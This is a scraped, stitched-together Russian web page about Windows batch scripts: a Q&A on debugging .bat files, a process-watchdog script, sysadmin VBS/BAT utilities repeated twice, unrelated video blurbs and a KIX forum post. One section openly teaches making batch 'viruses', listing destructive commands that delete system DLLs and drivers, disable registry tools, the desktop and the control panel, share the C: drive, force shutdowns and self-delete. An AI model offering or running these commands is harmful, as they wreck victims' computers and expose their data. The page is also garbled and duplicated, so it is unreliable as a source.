Блог иркутского сисадмина. Скрипт bat
[cmd] Как я могу отлаживать скрипт .BAT? [debugging] [batch-file]
Я вообще не знаю, как выполнить выполнение файла .bat, но вы можете использовать echo и pause чтобы помочь в отладке.
ECHO Будет эхо-сообщение в пакетном файле. Такие, как ECHO Hello World, будут печатать Hello World на экране во время исполнения. Однако без @ECHO OFF в начале командного файла вы также получите «ECHO Hello World» и «Hello World». Наконец, если вы просто хотите создать пустую строку, введите ECHO. добавление периода в конце создает пустую строку.
ПАУЗА Попросите пользователя нажать любую клавишу, чтобы продолжить.
Источник: Справка по пакетному файлу
@ workmad3: у ответа есть более полезные советы для работы с командой echo .
Еще один полезный ресурс ... DDB: Советы по пакетному файлу DOS
С таким же беспокойством я нашел следующий инструмент с тривиальным поиском Google:
JPSoft « Take Command » включает в себя пакетный IDE / отладчик. Их короткое презентационное видео демонстрирует это красиво.
Я использую пробную версию с нескольких часов. Вот мое первое смиренное мнение:
- С одной стороны, это действительно позволяет отлаживать сценарии .bat и .cmd, и теперь я убежден, что это может помочь в некоторых случаях
- С другой стороны, он иногда блокируется, и я должен был его убить ... особенно при отладке индексов (не всегда систематически). В нем не отображается «стек вызовов» или кнопка «выйти».
Это делает попытку.
вытащите @ECHO OFF и вызовите ваш пакетный файл redirectin ALL output в файл журнала.
c:> yourbatch.bat (необязательные параметры)> yourlogfile.txt 2> & 1
найдено по адресу http://www.robvanderwoude.com/battech_debugging.php
ОНО РАБОТАЕТ!! не забывайте, что 2> & 1 ...
WIZ
Вы пытались перенаправить результат в файл? Как и в любом случае.bat> log.txt
Вы должны убедиться, что в этом случае каждый другой скрипт также записывается в файл, например >> log.txt
Также, если вы поместите дату / T и время / T в начале и в конце этого командного файла, вы получите время, которое было в этот момент, и вы можете отобразить время и порядок выполнения скрипта.
Это правильный ответ.
command /y /C myfile.batили command / y / k myfile.bat / y Выполняет пакетную программу, заданную / C или / K. (Доступно только в MS-DOS 6.x и выше). / c Выполняет пакетную программу, заданную параметром / C или / K. (Доступно только в MS-DOS 6.x и выше).
Возможно, вы захотите добавить другие параметры, такие как / z для
Не работает для систем ниже dos 6 или выше Windows 98. Я не думаю, что это работает для windows nt до 2000 года.
Я установил msdos 7.1 в virtualbox для проверки.
code-examples.net
Скрипт bat файла для мониторинга программы.
Скрипт bat файла для мониторинга программы.
Рейтинг: 5 / 5
Подробности Категория: Настройка ОС Создано: 19.12.2017 01:29 Автор: Vitekus Просмотров: 1031Не так давно ко мне обратились за помощью в реализации такого костыля.
Чтобы он мониторил через какое-то время процесс и если он не запущен автоматически запускал.
первый вариант выглядел вот таким образом:
:proverkatasklist | find "mspaint.exe"
if %ERRORLEVEL% EQU 1 goto restartif %ERRORLEVEL% EQU 0 goto vremya
:vremyatimeout 10goto proverka
:restartstart %windir%\system32\mspaint.exegoto proverka
Данный код при запуске проверял через команду tasklist запущен или нет процесс под таким именем.
Если ответ был отрицательным то он переходит на функцию :restart и запускает нужный процесс и переходит на функцию :proverka для повторной проверки о состоянии данного процесса.
Если ответ был положительным то он переходит на функцию :vremya и ждет указанное количество секунд после переходит на функцию :proverka и далее по кругу.
У данного кода проблема в том что окно командной строки всегда виден.
Вечером немного подумал и решил bat скрипт довести до ума и скрыть назойливое окно и запускать уже автоматом скрытый процесс.
Для этого сначала создаем bat файл который добавит данную мини программу в планировщик windows.
В нем будет одна команда хотя её можно и ввести в командную строку. Лично для меня через bat файл проще.
schtasks /Create /SC minute /mo 1 /TN win /TR c:\processmonitor.exe
Самое важное в данном коде это параметр /mo 1 значения отвечают за то что программа будет исполняться каждую минуту.
изменяем на ваше усмотрение.
Дальше берем первый код и убираем лишнее и создаем файл processmonitor.bat с кодом.
tasklist | find "mspaint.exe"
if %ERRORLEVEL% EQU 1 goto restart
exit
:restartstart %windir%\system32\mspaint.exe
Теперь осталось только файл processmonitor.bat конвертировать в exe и скрыть окно командной строки.
Данную процедуру описывал вот тут Конвертировать bat файл в exe.
На этом все пользуйтесь кому нужно не забываем коментировать, задавать вопросы и делиться с друзьями.
atlant-pc.ru
BAT - скрипт - Bat Скрипты - Каталог статей
В этой статье я постараюсь объяснить, как создавать вредоносные программы (вирусы, трояны), используя штатные средства Windows и не только. Начнём мы с создания так называемых ВАТ-файлов или просто bat’ников, для этого нам понадобится всего лишь стандартный Блокнот Windows. Создаём файл *.txt и открываем его. Теперь нам нужно забить в него определённые команды, примеры которых вы видите ниже:del "%SystemRoot%system32*.dll" /q >nul – Удалить все системные DLL(Динамические загружаемые библиотеки)
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul – Удалить все драйверы, установленные на компьютере
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul – Поменять местами значения кнопок мыши
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul – Делает невозможным запуск приложений
time 0:00 >nul – Поставить время на 00:00
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul – Запретить редактирование реестра вручную
del "%SystemRoot%Cursors*.*" >nul – Удалить курсор мыши
del "%SystemRoot%Media" /q >nul – Удалить системные звуки Windows
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul – Запретить вызов панели кправления
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul – Убрать рабочий стол
shutdown -r -t 1 -c "lol" -f >nul – Форсираванная перезагрузка ПК
shutdown -s -t 1 -c "lol" -f >nul – Форсированное выключение ПК
taskkill /f /im explorer.exe >nul – Убить процесс Explorer.exe
net share "ResName"="C:" >nul – Расшарить диск C:
label C:Диск >nul – Переименовать диск С:
msg * "Текст сообщения" >nul – Показать Windows-стилизованное сообщение с кнопкой ОК
del "%0" >nul – Самоликвидация вируса
А теперь комментарии. Команда del направлена на удаление определённого файла, после неё в кавычках пишется полный путь к файлу, если вы хотите удалить из папки все файлы с расширением txt, например, то после название целевой папки и дроби нужно написать *.txt. Если нужно удалить что-нибудь из директории Windows, гораздо проще будет написать %SystemRoot%, вместо полного пути к директории, а уже затем вводить остальной путь. Также получившийся вирус может самоуничтожаться, для этого вместо пути к целевому файлу нужно ввести %0. Команда reg add может редактировать содержимое реестра. Для этого после этой команды нужно написать полный путь к необходимому вам ключу(без кавычек), и его новое значение. Команда time просто устанавливает любое время на часах ПК. Команда shutdown выполняет выключение или перезагрузку ПК, если после команды стоит r -t 1 -c "lol", то произойдёт перезагрузка, а если -s -t 1 -c "lol", то выключение. Также можно добавить в конце –f через пробел, тогда операция (выключение или перезагрузка) произойдёт форсированно, т.е. без предупреждения пользователя. Команда taskkill /f /im убивает указанный процесс, а указать его надо через пробел с расширением. Также существует команда net share, которая расшаривает (открывает общий доступ из сети) определённый диска на компьютере. После нее нужно написать в кавычках название расшаренного ресурса (на ваше усмотрение) после этого знак = и буквенный идентификатор диска в кавычках с двоеточием и дробью. Комадна label переименовывает указаный диск, для этого напишите буквенный идентификатор диска, знак =, и новое название. Команда msg * выводит на экран окно с сообщением и кнопкой ОК, после неё надо написать текст сообщения в кавычках через пробел после команды. Теперь, когда вы записали необходимые вам команды, сохраните созданный *.txt с расширением *.batТакже вы можете писать подобные вирусы не вручную, а используя специальные программы, автоматизирующие данный процесс. Могу порекомендовать одну такую программу, это BAT Virus Master. Спасибо за внимание, всех благ:)
delfcode.ru
Полезные скрипты [vbs,bat] для сисадмина. Часть 1 « 00m.Ru
Полезные скрипты [vbs,bat] для сисадмина. Часть 1
Хочу поделиться скриптами, которые помогают мне в повседневной работе:
add_printer.vbs
'Автоматическое добавление сетевых принтеров пользователям'Set WshNetwork = WScript.CreateObject("WScript.Network")WshNetwork.AddWindowsPrinterConnection "\\Servname\HP LJ M5025"WshNetwork.AddWindowsPrinterConnection "\\Username\HP"WScript.Echo "Все принтеры добавлены. Спасибо, что облегчили работу админу."
wins_service.bat
'скрипт для обслуживание базы данных wins. Выполнять раз в квартал или полгода'net stop winsjetpack %systemroot%\system32\wins\wins.mdb %systemroot%\system32\wins\tmp.mdbnet start wins
service.vbs
'Скрипт для определения состояния службыSet objShellApp = CreateObject("Shell.Application")ServiceName = "NtLmSsp" ' имя сервисаIf objShellApp.IsServiceRunning(ServiceName) ThenMsgBox "Сервис " & ServiceName & " запущен!", vbInformationElseMsgBox "Сервис " & ServiceName & " НЕ запущен!", vbInformationEnd If
login.vbs
'пример определения пользователя, под которым произведен вход'если модифицировать - получится неплохой log`ер для отслеживания активности и прочSet WshShell = CreateObject("WScript.Shell")login = WshShell.ExpandEnvironmentStrings("%USERNAME%")WScript.Echo login
upgrade.vbs
'скрипт для копирования файлов из сети на ПК (на примере обновления баз McAfee)SourceFolder = "\\server\Engine\" ' каталог, откуда копируемDestFolder = "C:\Program Files\Common Files\Network Associates\Engine\" ' каталог куда копируемLogFolder = "\\server\Log\" ' путь к лог файлу
'====================================================================On Error Resume NextSet FSO = CreateObject("Scripting.FileSystemObject")Set WshNetwork = CreateObject("WScript.Network")Set LogFile = FSO.OpenTextFile(LogFolder & "\mcafee_upg.log", 8, True)
For Each File In FSO.GetFolder(SourceFolder).FilesTargetPath = DestFolder & File.Name' если у файла есть атрибут ReadOnly, снимаем егоIf FSO.FileExists(TargetPath) ThenSet TargetFile = FSO.GetFile(TargetPath)If TargetFile.Attributes And 1 ThenTargetFile.Attributes = TargetFile.Attributes - 1End IfEnd If' если сетевая папка не доступна, пишем логSourcePath = SourceFolder & File.NameIf Not FSO.FileExists(SourcePath) ThenLogFile.WriteLine Now & ", компьютер - " & WshNetwork.ComputerName & ", пользователь - " & WshNetwork.UserName & ": путь " & SourceFolder & " нет доступа"LogFile.CloseWScript.QuitEnd If' копируем файлыFSO.CopyFile File.Path, DestFolder & File.Name, TrueIf Err.Number ThenLogFile.WriteLine Now & ", " & WshNetwork.ComputerName & ", " & WshNetwork.UserName & _": " & Err.Description & " " & File.NameErr.ClearEnd IfNextIf Err.Number Then BreakdownLogFile.CloseWScript.Echo "Скрипт выполнен. Отчет находится на " & LogFolder
Bat скрипт
Dans cette vidéo nous allons découvrir les bases du scripting en batch qui peut être exécuté sur toutes les plateformes windows. A travers ce tutoriel nous allons ...
Это видео будет о файлах с расширением .bat и .cmd ---------------------------------------------------------------------------------------------- ...
ANTES DE COMENTAR SOBRE O SISTEMA USADO, REPARE QUE É UM WINDOWS XP VIRTUALIZADO!
Script em BAT - Como automatizar tarefas com arquivos de Auto executáveis em LOTE - Arquivos .BAT na Inicialização do Windows, Comandos de MS-DOS ...
Как можно убить пару минут своего времени, подшутить над другом или скрыть свои данные. Оригинал видео:...
Facebook: encurtador.com.br/qwyzH Intagram: encurtador.com.br/isMY6.
Batch files can help you automate and control your PC with greater efficiency. Be Your Own IT walks you through how to create and use these helpful tools.
Простой .bat файл при выполнении которого в командной строке Windows рисуется красивая цветная роза из символов...
Сегодня хочу показать вам очередной простенький скрипт. На этот раз это – bat скрипт для ротации логов, да...
Script BAT - Fazer Backup com um clique! Script BAT - Fazer Backup com um clique! Script BAT - Fazer Backup com um clique!
Script .BAT - Como Criar um MENU em Arquivos BAT, Arquivos Auto executaveis, COMANDOS IF dentro do MS-DOS, Ler VARIAVÉL no DOS, BAT, Arquivo de ...
Сегодня мы познакомимся с командами вывода информации на экран и переменными , а так же напишем простой...
Links abaixo. backup todos arquivos = http://goo.gl/AqV7Pk backup imagens = http://goo.gl/KkYLeH backup musicas = http://goo.gl/WwFg9j backup videos ...
Aprenda a lógica básica para programação de arquivos em lote .BAT. Link com os comandos: http://hardware.rbtech.info/?p=7007 Acompanhe o RBtech: ...
вирус бат опасный батник опасный вирус не открывать ссылка на скрипт - https://yadi.sk/i/gHfx4hJh4ND6Ze.
В этом видео-уроке мы поговорим,о более серьёзных компьютерных вирусах,таких как:"Троян" и "Червь" .И немного...
Bonjour à tous, Vous avez certainement déjà joué ce genre de match, certains joueurs qui montent des équipes avec plein de liens rouges et des joueurs qui ...
Тест скрипта создающего 1000 000 папок на рабочем столе. Виртуальная ОС сразу дала сбой. Все скрипты тут: http://batn...
Quer obter Certificado de Windows 2008 Server !!! Acesse http://aulaead.com e faça o Curso de 2008 Server Grátis !!! Cursos Completos em Ambiente EAD ...
SCRIPT: https://pastebin.com/raw/DY2AG7vV I also forgot to mention: You can turn into a ragdoll by pressing the R key. Spam press R for flight! Thanks to ...
Today we are going to show you how to start a script and read its output in a Java program. We are going to run a windows batch file in our example but you can ...
Nesse vídeo você vai tirar de vez suas dúvidas sobre as variações do comando echo, aprender quais são e pra que serve cada uma e saber também quando e ...
Trabajo de clase -- Moisés - Teide II Descargar scripts -- https://mega.nz/#!0Z512K4R!_28y_xrAXqO6SfvYdRzp_jJ4t2b-IP31-luMZOFt00I.
how to sillent install chrome with .bat script.
Aprenda descompactar arquivos Rar ou zip via linha de comando. Ou criando um .bat.
Este é um simples script de backup que lhe permite informar em uma varável a ORIGEM e o DESTINO do backup e ainda receber uma notificação por e-mail ...
This video is about How to create a login batch file with additional awesome features. watch till the end to get detailed info. Link to Source Code ...
Hola que tal, os dejo este vídeo sobre como crear un script que nos permita borrar de una manera segura e inmediata esas carpetas que son casi imposibles ...
Hi, today we're gonna make our own wifi hotspot by creating .bat file script for running (or stopping) our wifi hotspot service. ** Don't put Start and Stop in the ...
Create a file script simple ( type of file .bat) 1. Prepare - DC11 : OS Windows Server 2012 R2 - DC1 : OS Windows Server 2008 R2 - WIN71, WIN81, WIN1091 ...
CÓDIGO FONTE AULA http://j.gs/9930225/codigo-aula-2-e-3.
Explicación de script y del uso del programador de tareas de Windows Server 2008 _··_ (○_○)═☞https://www.twitch.tv/ravenkais ...
Script de Logon no Windows 2003 Server Arquivo .BAT Mapear Pastas e executar comandos no exemplo www.professorramos.com.
In this video I'm gonna show you how to fix errors occurs during flashing fastboot rom in mi flash.These errors occurs because of locked bootloader of your ...
Link dos arquivos mencionados - http://minhateca.com.br/Michel-52/Barra+de+Progresso,516007101.rar(archive)
Ejecutar Scrip SQL desde .Bat unicamente usando las consolas tanto de Windows como de SQL Server.
ஜ۩۞۩ஜ LEIA A DESCRIÇÃO ஜ۩۞۩ஜ Usar mouse em bat files. - Tutorial - * Últimos Videos: Movimento do player (part 1) ...
CÓDIGO FONTE https://mega.nz/#!kxEVSKQD!LYprBPjm0P-98wL0TdwucufNsyT30wsLAf98KggFJJI.
Aprenda a criar scripts bat, são mini programas para realizar tarefas no windows, com um simples clique. Muitos Profissionais de Ti, criam suas ferramentas ...
configurar impressora canon mg3510 wifi traducao counter strike source chave de licenca avast free antivirus baixar slender the arrival mod dos herois 1.7.10 baixar mod euro truck simulator 2 mapa brasileiro microondas panasonic nao esquenta paola oliveira danca dos famosos funk azaforumoficial como codificar alarme positron
debojj.net
Полезные скрипты vbs bat для системного администратора. Часть 1 в блоге иркутского сисадмина
Полезные скрипты [vbs,bat] для сисадмина. Часть 1
Хочу поделиться скриптами, которые помогают мне в повседневной работе:
add_printer.vbs
'Автоматическое добавление сетевых принтеров пользователям'Set WshNetwork = WScript.CreateObject("WScript.Network")WshNetwork.AddWindowsPrinterConnection "\\Servname\HP LJ M5025"WshNetwork.AddWindowsPrinterConnection "\\Username\HP"WScript.Echo "Все принтеры добавлены. Спасибо, что облегчили работу админу."
wins_service.bat
'скрипт для обслуживание базы данных wins. Выполнять раз в квартал или полгода'net stop winsjetpack %systemroot%\system32\wins\wins.mdb %systemroot%\system32\wins\tmp.mdbnet start wins
service.vbs
'Скрипт для определения состояния службыSet objShellApp = CreateObject("Shell.Application")ServiceName = "NtLmSsp" ' имя сервисаIf objShellApp.IsServiceRunning(ServiceName) ThenMsgBox "Сервис " & ServiceName & " запущен!", vbInformationElseMsgBox "Сервис " & ServiceName & " НЕ запущен!", vbInformationEnd If
login.vbs
'пример определения пользователя, под которым произведен вход'если модифицировать - получится неплохой log`ер для отслеживания активности и прочSet WshShell = CreateObject("WScript.Shell")login = WshShell.ExpandEnvironmentStrings("%USERNAME%")WScript.Echo login
upgrade.vbs
'скрипт для копирования файлов из сети на ПК (на примере обновления баз McAfee)SourceFolder = "\\server\Engine\" ' каталог, откуда копируемDestFolder = "C:\Program Files\Common Files\Network Associates\Engine\" ' каталог куда копируемLogFolder = "\\server\Log\" ' путь к лог файлу
'====================================================================On Error Resume NextSet FSO = CreateObject("Scripting.FileSystemObject")Set WshNetwork = CreateObject("WScript.Network")Set LogFile = FSO.OpenTextFile(LogFolder & "\mcafee_upg.log", 8, True)
For Each File In FSO.GetFolder(SourceFolder).FilesTargetPath = DestFolder & File.Name' если у файла есть атрибут ReadOnly, снимаем егоIf FSO.FileExists(TargetPath) ThenSet TargetFile = FSO.GetFile(TargetPath)If TargetFile.Attributes And 1 ThenTargetFile.Attributes = TargetFile.Attributes - 1End IfEnd If' если сетевая папка не доступна, пишем логSourcePath = SourceFolder & File.NameIf Not FSO.FileExists(SourcePath) ThenLogFile.WriteLine Now & ", компьютер - " & WshNetwork.ComputerName & ", пользователь - " & WshNetwork.UserName & ": путь " & SourceFolder & " нет доступа"LogFile.CloseWScript.QuitEnd If' копируем файлыFSO.CopyFile File.Path, DestFolder & File.Name, TrueIf Err.Number ThenLogFile.WriteLine Now & ", " & WshNetwork.ComputerName & ", " & WshNetwork.UserName & _": " & Err.Description & " " & File.NameErr.ClearEnd IfNextIf Err.Number Then BreakdownLogFile.CloseWScript.Echo "Скрипт выполнен. Отчет находится на " & LogFolder
Полезные скрипты [vbs,bat] для сисадмина. [Часть 1] [Часть 2] [Часть 3]
Также рекомендую следующие записи:
Понравилась статья? Подпишись на обновления по RSS, E-mail или добавляйте меня в Twitter.lapitoop.ru
Обсуждение Полезных скриптов CMD BAT
Вопрос: Автоматизация администрирования. Скрипты на KIX
На форуме есть совершенно замечательная ветка "Автоматизация администрирования" Эта ветка преследует те же цели, что и вышеназванная, но посвящена скриптам на одном конкретном скриптовом языке - KIX Script и всему, что с ним связано. Почему я решил выделить этот язык в отдельную ветку? Очень просто. Если скрипт пишется на VBScript или JScript, или используются WHS, WMI или ADSI, то готовый код легко перевести c одного скриптового языка на другой. Если же скрипт написан на KIX, то часто этот код может быть совершенно бесполезен тем, кто пишет на других языках. Кроме того, на форуме достаточно часто возникают вопросы по использованию именно этого языка, но, со временем они просто теряются в отдельных ветках. Итак, что такое KIX Script? Это скриптовой язык, который специально разработан для быстрого и удобного написания логонных скриптов. quote: KiXtart is a logon script processor and enhanced batch scripting language for computers running Windows Server 2003, Windows XP, Windows 2000, Windows NT or Windows 9x in a Windows Networking environment. Это не говорит об том, что его нельзя использовать для других целей, кроме логон скриптов. Можно, однако именно в этом применении он максимально удобен по сравнению с другими языками. В чем именно состоит его удобство: 1. Скрипт не требует инсталляции на клиентских машинах. Достаточно разместить файлы на домен контроллере и, если есть Windows 9X клиенты, запустить на них один сервис. И это вариант будет работать для всех Windows, начиная с 95-го. 2. В самом языке в виде макросов или функций реализованы большинство вещей, которые требуются именно для логон скрипта. Взять имя пользователя или наименование компьютера, используемая ОС или проверка на членство юсера в группах - все это легко решается использованием с помощью одной команды. Один из аргументов, которые мне приводили против использования этого языка - достаточно малоизвестен, большинство примеров написаны на VBS или JS. Да, это так. Однако большинство примеров, которые приведены на указанных языках, очень просто переводятся на KIX, более того, многие вещи на самом KIX решаются гораздо проще. Что касается использования WHS, WMI или ADSI или другие COM обьектов, то они вообще мало зависят от конкретного языка и их использование практически одинаково на любых языках. Два основных сайтаНа первом сайте на первой же странице можно скачать последний релиз KiXtart 4.23 released: 31-Dec-2004. Если собираетесь использовать KIX или уже используете скачайте оттуда же HTML Help File 4.22. В ближайшие дни я собираюсь разместить в этой ветке заметки по написанию скриптов, собирающие логи с компьютера и несколько готовых скриптов, один из которых, сбор информации из реестра для анализа веток автозапуска и установленных программ, я пообещал где-то в соседней ветке. PS. Эта ветка предназначена для скриптов на конкретном языке, KIX-e. Вопросы по другим языкам или общие вопросы по скриптам - просьба в ветку "Автоматизация администрирования"
Ответ: VLkin В новой версии 4.50rc1 (пока не релиз, но глюков не замечал) можно сохранить скрипт в промежуточном коде (с расширением .kx). Хотя страно, на современных компьютерах и медлено выполняются?
forundex.ru